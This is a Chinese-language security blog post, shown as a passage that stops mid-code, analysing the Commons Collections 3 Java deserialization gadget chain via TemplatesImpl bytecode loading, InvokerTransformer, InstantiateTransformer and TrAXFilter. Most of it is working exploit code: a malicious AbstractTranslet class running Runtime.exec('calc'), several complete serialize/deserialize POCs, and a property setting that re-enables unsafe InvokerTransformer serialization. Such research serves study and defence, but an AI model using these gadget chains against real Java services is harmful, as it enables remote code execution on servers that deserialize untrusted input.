CommonCollections3利用链分析

GTL-JU Lv3

CommonsCollections3利用链分析

一、前言

在前面分析的CC1和CC6都是在transform直接执行命令,但是在CC3中是通过动态加载恶意类字节码来进行命令执行的。在上篇文章中对动态类加载机制进行了学习。

这里再对TemplatesImpl类加载字节码实现任意代码执行进行一个回顾。

二、CC3的分析

TemplatesImpl类加载字节码实现任意代码执行

在动态加载字节码中我们已经分析了TemplatesImpl是如何动态加载字节码进行任意代码执行的,然后我们这里在回顾一下。

类加载机制是java虚拟机用于在运行时加载java类文件并将其转换为可执行代码的过程。所以不管是加载远程的class文件,还是本地的class或jar文件,JAVA虚拟机都会经历下面三个方法的调用:

image-20230802153633882

这里其实也就是双亲委托机制:

我们在双亲委派中学习了,在加载一个类时首先会先调用findLoadedClass(name)方法检查是否已经加载了对应名称的类,如果未加载会调用父类加载器通过loadclass来加载类直到顶层加载器都不能加载成功,子类加载器会开始搜索类进行加载,这里使用的就是findclass(name)方法来查找加载类(类似我们上面的URLClassLoader),如果子类也不能加载继续调用子类加载器,直到调用到自定义加载器。当加载到类后会调用defineclass方法,并将字节码的字节数组、类名等信息传递给该方法。defineClass 方法会在 JVM 中将这些字节码转换为一个 Java 类的 Class 类,并将其加入到类加载器的类命名空间中。

其实前面两个loadclass和findclass都是在查找加载类,而defineclass才是真正的核心。

也就是说define将加载的字节码转换为一个java类。

我们这里分析一下defineclass的代码:

1
2
3
4
5
6
7
Classloader#defineclass

protected final Class<?> defineClass(String name, byte[] b, int off, int len)
throws ClassFormatError
{
return defineClass(name, b, off, len, null);
}
  • name:表示要定义的类的全限定名,例如:”com.example.MyClass”。
  • b:一个字节数组,其中包含类的字节码数据。
  • off:字节数组的起始偏移量,指示类的字节码在字节数组中的开始位置。
  • len:表示类的字节码长度

但是这个方法是一个受保护的方法,所以我们不能够直接从外部调用他。

但是这里我们可以通过反射去获取这个方法:

1
2
3
4
5
6
7
8
9
10
11
import java.lang.reflect.Method;
import java.util.Base64;

public class HelloDefineClass {
public static void main(String[] args) throws Exception {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);//反射获取
defineClass.setAccessible(true);
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");//一个输出hello world的字节码文件base64编码
Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code, 0, code.length);
hello.newInstance();
}

运行结果:

image-20230802155138837

但是有一点要注意,defineclass被调用的时候,类对象并不会被初始化,只有显式调用构造函数,初始化代码才会执行,而且既即使我们这里的代码放到类的静态代码块也无法直接被调用,所以我们如果想要使用defines在目标机器上面浙西任意代码,需要想办法构造调用函数。

上面我们说了defineclass是一个受保护的方法,外部不能够直接利用,而且我们想要构造攻击链,入口点一定要是readobject函数。

所以我们要构造攻击链就要向上找defineclass的调用:

image-20230802155737257

在TemplatesImpl的内部类loadclass中重写了defineclass方法

但是这里并没有显式的声明其定义域。在java中默认情况下,如果一个方法没有显示的声明其作用域,那么默认其作用域为default,那么也就是说defineclass方法由父类的protected变成了default

,那么defineclass就不能包外的类调用,只能被同一包中的其他类调用。

那么我们就只能在TemplatesImpl类中找对defineclass的调用:

image-20230802160416093

defineTransletClasses方法中调用了defineclass方法,但是这个方法仍是一个私有方法,不能够被类外部调用

继续在TemplatesImpl找对defineTransletClasses的调用:

image-20230802160629448

我们可以在getTransletClasses中找到对defineTransletClasses

但是同样的这也是一个私有方法

继续向上找调用:

image-20230802160912540

我们在newTransformer中可以找到对getTransletInstance()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);

if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}

if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}

并且这个方法还是一个公有方法,那么这个方法是可以被外部调用的

那么到这里我们已经可以构造出我们攻击链的后半部分

利用TemplatesImpl类加载字节码实现任意代码执行

利用链:

1
2
3
4
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses()->
TransletClassLoader#defineClass()->加载恶意类字节码

我们上边只是简单的分析了一下调用关系,细节地方并没有分析,接下来我们详细分析一下调用关系和条件,编写POC:

首先我们回到newTransform方法:

image-20230802161413895

这里getTransletInstance()是作为实例化TransformerImpl的一个参数传入进去的

那么只要调用了newTransform就一定会触发对getTransletInstance()的调用

我们这里直接跟进到getTransletInstance()方法:

image-20230802161756733

我们在getTransletInstance()里面要调用defineTransletClasses()

要满足两个条件

_name!=NULL&&_class==NULL

我们这里看一下这两个参数的默认值是什么:

image-20230802162015149

可以看到这两个参数的值都是空

所以我们要想要触发defineTransletClasses()方法,就要修改_name的值不为空

但是这两个属性都是私有属性,我们不能够直接修改,只能在其构造方法里面修改:

这里看一下TemplatesImpl的构造方法

image-20230802162259595

是一个公共方法,但是构造方法里面是空的,也就是一个无参构造

image-20230802162815896

而且这个类是继承了序列化接口的,也就是说是可以序列化的,那么我们这里就可以直接去用了。

那我们这里就可以通过反射区修改属性值:

1
2
3
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);

那么我们这里就可以构造出POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;

public class cc3 {
public static void main(String[] args) throws Exception {
Templates templates=new TemplatesImpl();
//反射修改属性值
Field filed = templates.getClass().getDeclaredField("_name");
filed.setAccessible(true);
filed.set(templates, "11111");

}
}

那么我们这里修改后就可以满足调用defineTransletClasses()的条件了

继续跟进到defineTransletClasses()

我们这里先看一下我们要调用的defineClass()方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new HashMap<>();
}

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

我们在调用defineclass方法时还传入了一个字节数组_bytecodes[i]

那么结合前面这里这个字节数组就是我们要传入的字节码

那么其实这个就是实现了遍历字节数组取出当中的字节码,然后传入defineclass进行处理

但是我们不可能调用defineTransletClasses()就能够直接调用到defineClass

我们这里分析一下上面的代码逻辑:

1
2
3
4
5
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

首先一个是对_bytecodes判断是否为空,这里的_bytecodes其实就是我们的字节码数组,那么我们这里把我们的字节码赋值给_bytecodes就可以使其不为空

我们这里还是通过反射去修改属性值:

1
2
3
Field filed = templates.getClass().getDeclaredField("_bytecodes");
filed.setAccessible(true);
filed.set(templates, "字节码");
1
2
3
4
5
6
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

或者是直接加载远程或者本地class文件:

1
2
3
byte[] code = Files.readAllBytes(Paths.get("E:\\Coding\\Java\\CC\\target\\classes\\EvilTemplatesImpl.class"));
byte[][] codes = {code};
setFieldValue(obj, "_bytecodes", new byte[][] {code});

其实效果都是一样的。

然后是一个run方法

1
2
3
4
5
6
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

这里有一个_tfactory,因为用到了这个参数所以我们要给这个参数赋值,不然这里就会报错

image-20230802171846688

transient 关键字是 Java 中的一个修饰符,用于标记变量,表示该变量在对象的序列化过程中不会被持久化,即不会被写入到字节流中,从而在反序列化后该变量的值会被重新初始化。

所以说我们这里给这个参数去赋值时没有意义的,因为当他在被反序列化的时候又被重新初始化了。
那我们直接跟进到readobject中去看一下:

image-20230802172251738

可以看到在反序列化的时候是会给这个参数赋值的

但是我们这里要使用这个参数

所以我们这里可以通过反射随便给它赋值,因为无论我们赋什么值,这里在反序列化的时候的值是不会改变的

然后我们这里为了方便直接赋值new TransformerFactoryImpl,方便我们后面调试,因为我们利用链到这里还不会进行反序列化,所以我们这里先赋值给它。

1
2
3
Field filed = templates.getClass().getDeclaredField("_tfactory");
filed.setAccessible(true);
filed.set(templates, "new TransformerFactoryImpl");

然后我们这里为了简化代码,直接把反射修改属性值这一部分代码定义一个函数:

1
2
3
4
5
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field filed = obj.getClass().getDeclaredField(fieldName);
filed.setAccessible(true);
filed.set(obj, value);
}

那么到这里我们的POC可以编写为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;

public class cc3 {
public static void main(String[] args) throws Exception {
Templates templates = new TemplatesImpl();
byte[] bytes = Base64.getDecoder().decode("字节码base64编码");
setFieldValue(templates,"_name","111");
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field filed = obj.getClass().getDeclaredField(fieldName);
filed.setAccessible(true);
filed.set(obj, value);
}
}

那么正常情况下,我们这里应该已经可以正常进行命令执行

那么我们这里编写一个命令执行的恶意代码类:

1
2
3
4
5
6
7
8
9
10
public class Test {
static {
try {
Runtime.getRuntime().exec("calc");

}catch (Exception e){
e.printStackTrace();
}
}
}

然后编译一下把字节码base64编码一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public class bianma {
public static void main(String[] args) {
String filePath = "D:\\MAVEN\\maven-repository\\cc6\\cc61\\src\\main\\java\\leijiazai\\HelloTemplatesImpl.class\\";

try {
byte[] classBytes = readClassFile(filePath);
String base64Encoded = convertToBase64(classBytes);
System.out.println(base64Encoded);
} catch (IOException e) {
e.printStackTrace();
}
}

private static byte[] readClassFile(String filePath) throws IOException {
try (FileInputStream fis = new FileInputStream(filePath);
ByteArrayOutputStream baos = new ByteArrayOutputStream()) {
byte[] buffer = new byte[4096];
int bytesRead;
while ((bytesRead = fis.read(buffer)) != -1) {
baos.write(buffer, 0, bytesRead);
}
return baos.toByteArray();
}
}

private static String convertToBase64(byte[] data) {
return Base64.getEncoder().encodeToString(data);
}
}

我们直接把我们的POC运行一下:

但是并没有执行命令

image-20230802175110466

然后是报了一个空指针错误在defineTranslectClasses里面

但是这个不太好找

然后我们这里打断点跟进调试一下:

image-20230802175023651

跟进

image-20230802175259884

然后我们可以看到这里类加载是已经成功了

然后我们继续跟进

image-20230802175419393

然后我们可以看到就是在这个if判断里面报了一个空指针错误

然后这个if就是检查我们传入字节码是不是ABSTRACT_TRANSLET的子类

然后是的话会对_transletIndex进行一个赋值,不是的话,就会跳转到我们报空指针错误的地方

那我们这里解决办法有两个:

1、给_auxCLasses赋值,解决这个空指针报错

2、使if判断为真也就是我们传入的字节码为ABSTRACT_TRANSLET的子类

但是我们往下看还有一个if判断:

1
2
3
4
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}

这里也就是_transletIndex 值小于0就直接抛出异常

而且我们现在的_transletIndex 值是-1

所以我们给_auxCLasses赋值不可行,因为这样无法过第二个if,仍然会报错

所以我们这里要使我们传入的字节码为ABSTRACT_TRANSLET的子类

image-20230802180950718

跟进到这个类里面

image-20230802180931720

可以看到这个类是一个抽象类,那他的子类就要实现它的抽象方法

image-20230802181053462

所以我们构造的恶意类就要实现这个transform抽象方法

那我们这里重新构造一个恶意类

1
2
3
4
5
6
7
8
9
public class HelloTemplatesImpl extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) throws TransletException {}
public HelloTemplatesImpl() throws IOException {
Runtime.getRuntime().exec("calc");
}
}

那么我们的POC就可以构造为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class blog {
public static void main(String[] args) throws Exception {
Templates templates = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("D:\\MAVEN\\maven-repository\\cc6\\cc61\\src\\main\\java\\leijiazai\\HelloTemplatesImpl.class"));
byte[][] codes = {code};
setFieldValue(templates, "_bytecodes", codes);
setFieldValue(templates,"_name","111");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
templates.newTransformer();

}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field filed = obj.getClass().getDeclaredField(fieldName);
filed.setAccessible(true);
filed.set(obj, value);
}
}

image-20230802181259643

可以看到已经成功运行了。

CC1+TemplatesImpl

上面我们已经可以通过TemplatesImpl加载字节码进行任意命令执行了。

但是我们要想利用这个攻击链

就要在反序列化的时候调用newTransform方法。

其实这里就可以和我们前面CC1的分析结合起来

我们在CC1利用链的分析中是通过InvokerTransform类方法实现调用传进的方法:

我们这里回顾一下CC1中关于InvokerTransform的利用:

1
2
3
4
5
6
7
8
Transformer[] transformers = {
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");

我们这里是通过InvokerTransformer在反序列化的时候调用transform方法通过反射获取到exec方法进行命令执行

那我们这里只有把exec方法换成我们要执行的newTransform方法就可以实现对后续利用链的利用

具体原理我们在CC1中已经分析了,我们这里就不详细分析了:

直接构造POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class blog {
public static void main(String[] args) throws Exception {
Templates templates = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("D:\\MAVEN\\maven-repository\\cc6\\cc61\\src\\main\\java\\leijiazai\\HelloTemplatesImpl.class"));
byte[][] codes = {code};
setFieldValue(templates, "_bytecodes", codes);
setFieldValue(templates,"_name","111");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
// templates.newTransformer();
Transformer[] transformers = {
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null,chainedTransformer);
transformedMap.put("value", "value");

}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field filed = obj.getClass().getDeclaredField(fieldName);
filed.setAccessible(true);
filed.set(obj, value);
}
}

运行结果:

image-20230802182913889

可以看到我们这里成功执行了

后面的就和CC1中的一样了,把动态代理补上去就可以通过反序列化触发整条利用链了。

补齐后的POC为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class blog {
public static void main(String[] args) throws Exception {
Templates templates = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("D:\\MAVEN\\maven-repository\\cc6\\cc61\\src\\main\\java\\leijiazai\\HelloTemplatesImpl.class"));
byte[][] codes = {code};
setFieldValue(templates, "_bytecodes", codes);
setFieldValue(templates,"_name","111");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
// templates.newTransformer();
Transformer[] transformers = {
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null,chainedTransformer);
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationdhdlConstructor =c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationdhdlConstructor.setAccessible(true);
Object o=annotationInvocationdhdlConstructor.newInstance(Retention.class,transformedMap);

serializable(o);
unserializable();

}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field filed = obj.getClass().getDeclaredField(fieldName);
filed.setAccessible(true);
filed.set(obj, value);
}


public static void serializable(Object obj) throws Exception {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(obj);
}

// 反序列化
public static void unserializable() throws Exception {
ObjectInputStream out = new ObjectInputStream(new FileInputStream("ser.bin"));
out.readObject();
}
}

但是报错了

image-20230802183427731

意思大概就是说org.apache.commons.collections.functors.InvokerTransformer 的序列化支持因安全原因而被禁用。这是 Apache Commons Collections 为了防止与反序列化不受信任的数据相关的潜在安全漏洞而实施的安全措施。要启用 InvokerTransformer 的序列化支持,你可以将系统属性 org.apache.commons.collections.enableUnsafeSerialization 设置为 true。(本机测试)

1
System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");

那么我们最终的POC为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class blog {
public static void main(String[] args) throws Exception {
System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");
Templates templates = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("D:\\MAVEN\\maven-repository\\cc6\\cc61\\src\\main\\java\\leijiazai\\HelloTemplatesImpl.class"));
byte[][] codes = {code};
setFieldValue(templates, "_bytecodes", codes);
setFieldValue(templates,"_name","111");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
// templates.newTransformer();
Transformer[] transformers = {
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null,chainedTransformer);
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationdhdlConstructor =c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationdhdlConstructor.setAccessible(true);
Object o=annotationInvocationdhdlConstructor.newInstance(Retention.class,transformedMap);

serializable(o);
unserializable();

}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field filed = obj.getClass().getDeclaredField(fieldName);
filed.setAccessible(true);
filed.set(obj, value);
}


public static void serializable(Object obj) throws Exception {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(obj);
}

// 反序列化
public static void unserializable() throws Exception {
ObjectInputStream out = new ObjectInputStream(new FileInputStream("ser.bin"));
out.readObject();
}
}

运行结果:

image-20230802183709542

InstantiateTransformer+TemplatesImpl

我们上面那条链也就是通过InvokerTransform的transform方法将CC1与后面动态加载字节码的利用联系起来

但是在ysoserial中用的是另一种方法.

它这里并没有用InvokerTransform类,而是用的InstantiateTransformer这个类

image-20230802185851623

这条链其实用的这个类里面的调用

1
2
3
4
5
6
7
8
9
public TrAXFilter(Templates templates)  throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}

可以看到这个是在这个类的构造函数里面调用了newTransformer()方法,而且传参也是可控的

我们只需将这个类实例化,并且参数传进构造好的 templates 即可,那么我们只要可以调用TrAXFilter的构造函数,我们就可以调用我们后续的利用链

image-20230802190243263

但是现在有一个问题就是我们可以看到这个类也是没有继承序列化接口的,那这个类是不能被序列化的

那我们如果还想要要利用的话,就要和我们在CC1获取runtime对象一样,通过它的class入手

然后ysoserial中的就是通过InstantiateTransformer这个类来解决这个问题的

我们跟进到这个类看一下:

1
2
3
4
5
6
7
8
9
10
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);

我们这里看一下它的transform方法

首先这里if里面会加检查输入的是不是CLass类型的对象

Constructor con = ((Class) input).getConstructor(iParamTypes);: 这段代码获取 input 类对象的构造函数。它首先将 input 强制转换为 Class 类型,然后使用 getConstructor(...) 方法获取构造函数。在这里,iParamTypes 是一个类的参数类型数组,用于标识构造函数的参数类型。

return con.newInstance(iArgs);: 这段代码通过获取的构造函数实例化一个对象并返回。它使用 newInstance(...) 方法来创建类的新实例,iArgs 是一个包含实例化对象所需的构造函数参数的数组。

总的来说,这段代码实现了一个能够通过反射实例化对象的 Transformer。它要求传入的 input 必须是一个 Class 类型的对象,并且通过提供的构造函数参数类型数组和参数值数组来创建类的新实例。

他这里会返回实例化的对象,那么这刚好符合我们的要求

构造:

1
2
InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates} );
instantiateTransformer.transform( TrAXFilter.class);

我们这里就调用了instantiateTransformer方法并且把我们要实例化的类TrAXFilter传了进去

因为TrAXFilter是不能序列化,但是它的class是可以序列化的,然后我们这里通过instantiateTransformer获取到了它的实例化对象

那么这样就可以触发instantiateTransformer的构造函数进而触发我们后续利用链:

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class CC32{
public static void main(String[] args) throws Exception {
System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");
Templates templates = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("D:\\MAVEN\\maven-repository\\cc6\\cc61\\src\\main\\java\\leijiazai\\HelloTemplatesImpl.class"));
byte[][] codes = {code};
setFieldValue(templates, "_bytecodes", codes);
setFieldValue(templates,"_name","111");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
// templates.newTransformer();

InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates} );
instantiateTransformer.transform( TrAXFilter.class);

}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field filed = obj.getClass().getDeclaredField(fieldName);
filed.setAccessible(true);
filed.set(obj, value);
}
}

image-20230802192341688

可以看到这里成功执行了后面的利用链进行了命令执行。

然后我们把CC1链后面用到的 AnnotationInvocationHandler类readObject()方法调用setValue()触发利用链的代码补上

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
public class CC32{
public static void main(String[] args) throws Exception {
System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");
Templates templates = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("D:\\MAVEN\\maven-repository\\cc6\\cc61\\src\\main\\java\\leijiazai\\HelloTemplatesImpl.class"));
byte[][] codes = {code};
setFieldValue(templates, "_bytecodes", codes);
setFieldValue(templates,"_name","111");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
// templates.newTransformer();

InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates} );
//instantiateTransformer.transform( TrAXFilter.class);

HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null,instantiateTransformer);
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationdhdlConstructor =c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationdhdlConstructor.setAccessible(true);
Object o=annotationInvocationdhdlConstructor.newInstance(Retention.class,transformedMap);

serializable(o);
unserializable();

}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field filed = obj.getClass().getDeclaredField(fieldName);
filed.setAccessible(true);
filed.set(obj, value);
}


public static void serializable(Object obj) throws Exception {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(obj);
}

// 反序列化
public static void unserializable() throws Exception {
ObjectInputStream out = new ObjectInputStream(new FileInputStream("ser.bin"));
out.readObject();
}
}

那么我们现在还有一个问题就是我们怎么把TrAXFilter.class给传进去

其实这个问题和我们在CC1中setvalue的值不可控的原因是一样的

因为我们setvlaue要传的值就是我们这里的TrAXFilter.class

那我们这里还可以通过ConstantTransformer来解决这个问题。

1
new ConstantTransformer(TrAXFilter.class)

然后这里还是通过chainTransform将他们连起来

1
2
3
4
5
6
InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates} );
Transformer[] transformers = {
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

最终的POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC32{
public static void main(String[] args) throws Exception {
System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");
Templates templates = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("D:\\MAVEN\\maven-repository\\cc6\\cc61\\src\\main\\java\\leijiazai\\HelloTemplatesImpl.class"));
byte[][] codes = {code};
setFieldValue(templates, "_bytecodes", codes);
setFieldValue(templates,"_name","111");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
// templates.newTransformer();

InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates} );
//instantiateTransformer.transform( TrAXFilter.class);
Transformer[] transformers = {
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null,chainedTransformer);
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
